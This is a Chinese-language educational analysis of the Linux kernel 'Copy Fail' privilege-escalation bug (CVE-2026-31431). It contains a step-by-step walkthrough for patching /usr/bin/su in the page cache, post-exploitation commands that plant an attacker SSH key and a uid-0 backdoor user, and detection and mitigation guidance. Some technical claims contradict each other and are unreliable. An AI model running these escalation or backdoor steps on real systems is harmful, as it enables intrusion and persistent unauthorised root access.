Linux 内核中 Copy Fail 漏洞(CVE-2026-31431)的详细分析,包括内存破坏机制、权限提升流程及安全影响。
对 Linux 内核中 Copy Fail 漏洞的教育性分析。
涵盖内存破坏机制、权限提升流程、容器逃逸及防御对策。
本仓库仅用于教育和研究目的。
请勿在非您所有或未经明确书面许可的系统上使用此信息。
所有代码片段和命令均严格用于帮助理解 Linux 内核内部机制。
CVE-2026-31431,又称 Copy Fail,是一个 Linux 内核漏洞,非特权本地用户无需任何特殊权限即可提升至 root。
该攻击完全在 RAM 中进行。磁盘文件从未被触碰——这意味着文件哈希保持干净、时间戳不变、审计日志无任何记录。当系统重启时,所有证据消失。
普通用户 → 利用 algif_aead 漏洞 → 覆盖页缓存 → root
关键特性:
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-31431 |
| 通用名称 | Copy Fail / algif_aead 页缓存破坏 |
| CVSS v3.1 评分 | 7.8 — 严重 |
| 攻击类型 | 本地权限提升(LPE) |
| 受影响内核版本 | Linux 5.10 至 6.8(约) |
| 漏洞组件 | crypto/algif_aead.c — AF_ALG 套接字接口 |
| 利用可靠性 | 高 — 无需竞态条件 |
| 磁盘证据 | 无 — 仅修改 RAM |
| 容器影响 | 是 — 通过共享页缓存逃逸宿主机 |
| 补丁状态 | 可用(上游内核补丁已发布) |
/usr/bin/su — 目标二进制su(切换用户)允许用户切换到另一个账户——通常是 root。它是一个 SetUID 二进制:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID 标志
s 标志意味着:当任何用户运行此二进制时,它以 root 的权限执行。这使其成为高价值目标。
其内部逻辑(简化):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
攻击目标:完全跳过 password_correct() 检查。
当 Linux 从磁盘读取文件时,它会在 RAM 中保留一份副本,称为页缓存。
| 组件 | 描述 |
|---|---|
| 磁盘 | 磁盘上的原始文件(书架) |
| 页缓存 | 文件的 RAM 副本(您桌上的复印件) |
| CPU | 从页缓存读取并执行——速度快 |
| 攻击者 | 修改 RAM 副本;磁盘保持不动 |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← 这就是页缓存
| 类型 | 安全性 |
|---|---|
| 安全缓冲区 — 内核分配,大小和边界受控 | ✅ 安全 |
| 页缓存 — 文件支持的 RAM 副本,共享,可执行 | ⚠️ 若被写入则危险 |
| 错误指针 — 漏洞导致的指向任意位置的地址 | 🔴 严重 |
AF_ALG(算法族)是 Linux 套接字接口,允许用户空间程序使用内核加密功能(AES、SHA、AEAD)。
socket(AF_ALG, SOCK_SEQPACKET, 0); // 打开加密套接字
algif_aead 是处理通过 AF_ALG 进行 AEAD 加密(如 AES-GCM)的内核模块。漏洞存在于其数据复制步骤中。
AF_ALG → algif_aead → AES-GCM 引擎 → 输出缓冲区
↑
漏洞在此
该漏洞不在加密逻辑中。它位于内存处理中——在数据复制过程中选择了错误的内存区域。
destination = safe_output_buffer; // 正确位置
memcpy(destination, user_data, size); // 数据安全写入
destination = buffer + WRONG_OFFSET; // 漏洞:错误指针!
memcpy(destination, user_data, size); // 数据落入页缓存
内核本应写入安全输出缓冲区。由于偏移量计算错误,它写入了页缓存——其中保存着 /usr/bin/su 的 RAM 副本。
该二进制包含 x86-64 机器码。攻击者针对触发认证失败的条件跳转:
攻击前:
cmp eax, 0 ; 检查返回值
jne 0x1234 ; 若失败 → 跳转到拒绝
call give_root ; 授予 root
攻击后(RAM 中更改 2 字节):
cmp eax, 0 ; 相同
90 90 ; NOP NOP ← 跳转被替换,检查被跳过!
call give_root ; CPU 直接落在此处
NOP = 无操作。CPU 不执行任何操作并继续前进——完全跳过认证检查。
“我只需要一个普通用户账户。内核会自己犯错误。
磁盘保持干净。无日志。每次都能成功。”
whoami && id
# uid=1000(user) gid=1000(user) ← 普通用户
uname -r
# 6.1.0-generic ← 在受影响范围内
ls -la /usr/bin/su
# -rwsr-xr-x root root ← 确认 SetUID
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su 现已加载到页缓存 ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
寻找:认证函数地址、jne/jnz 条件跳转及其精确字节偏移量。
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 替换条件跳转
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# 内核内部(简化):
destination = buffer + crafted_offset # 漏洞:错误指针
memcpy(destination, payload, 2) # NOP 字节写入页缓存
# /usr/bin/su 的密码检查在 RAM 中现为 NOP NOP
su
# 密码:(任意内容——或直接按回车)
# root@victim:/# ← 获得 ROOT
发生了什么: 系统从 RAM 执行 /usr/bin/su。密码检查为 NOP。CPU 跳过它。直接调用 give_root()。
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
| CVE | 竞态条件? | 磁盘安全? | 可靠性 |
|---|---|---|---|
| CVE-2016-5195 DirtyCow | 是 — 需要精确时序 | 否 — 磁盘被修改 | 中 |
| CVE-2022-0847 DirtyPipe | 极小 | 是 — 仅 RAM | 高 |
| CVE-2026-31431 Copy Fail | 否 — 直接写入 | 是 — 仅 RAM | 非常高 |
攻击后,取证调查员会发现:
sha256sum /usr/bin/su # 与之前相同的哈希 ← 磁盘未受影响
diff /usr/bin/su backup/su # 无差异
grep -r 'attack' /var/log/ # 无任何记录
auditd logs # 未记录文件写入
重启后,RAM 被清空——所有证据消失。
| 检测方法 | 有效? |
|---|---|
| sha256sum / 文件哈希 | ❌ 磁盘完全相同 |
| 文件修改时间戳 | ❌ 磁盘未受影响 |
| auditd 文件写入日志 | ❌ 未发生磁盘写入 |
进程内存检查(/proc) | ✅ 仅当实时监控时 |
| eBPF 内核监控 | ✅ 系统调用级检测 |
| 内存取证(LiME) | ✅ 但较复杂 |
容器隔离用户空间——但内核是共享的,且页缓存是内核内存。
宿主机内核
├── 容器 1(隔离的用户空间)
│ └── 攻击者在此
├── 容器 2
└── 宿主机进程
页缓存:所有容器与宿主机之间共享!
逃逸路径: 容器 1 中的攻击者读取宿主机的 /usr/bin/su → 触发漏洞 → 宿主机二进制在 RAM 中被修改 → 在宿主机上运行 su 即可在宿主机上获得 root。
受影响:Docker、Podman、LXC、Kubernetes(共享节点)——如果宿主机内核存在漏洞。
这些仅为观察练习。任何测试请使用实验室环境(Docker + 旧内核虚拟机)。
free -h # 记录之前的 Cache 值
cat /usr/bin/su > /dev/null # 将文件加载到页缓存
free -h # Cache 略有增加
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 正常情况下与磁盘相同——成功攻击后不同
# /proc/PID/mem 比较需要 root 权限
优先级 1 — 内核更新(最佳修复)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
优先级 2 — 禁用 algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
优先级 3 — 访问控制
在 systemd 服务中应用带 SystemCallFilter 的 seccomp 配置文件,以限制不受信任进程对 AF_ALG 套接字的访问。
| 方法 | 命令 / 方式 |
|---|---|
| 内核版本 | uname -r → 与已修补版本对比 |
| 模块是否加载? | lsmod | grep algif_aead |
| eBPF 监控 | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| 进程内存 | cat /proc/PID/maps — 与磁盘哈希对比 |
| auditd | ausearch -sc socket -sv no |
| Falco | 规则:意外的 memfd 或页缓存写入 |
| 内存取证 | LiME 转储用于事后分析 |
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# 使用 seccomp 配置文件运行(阻止 AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restricted 策略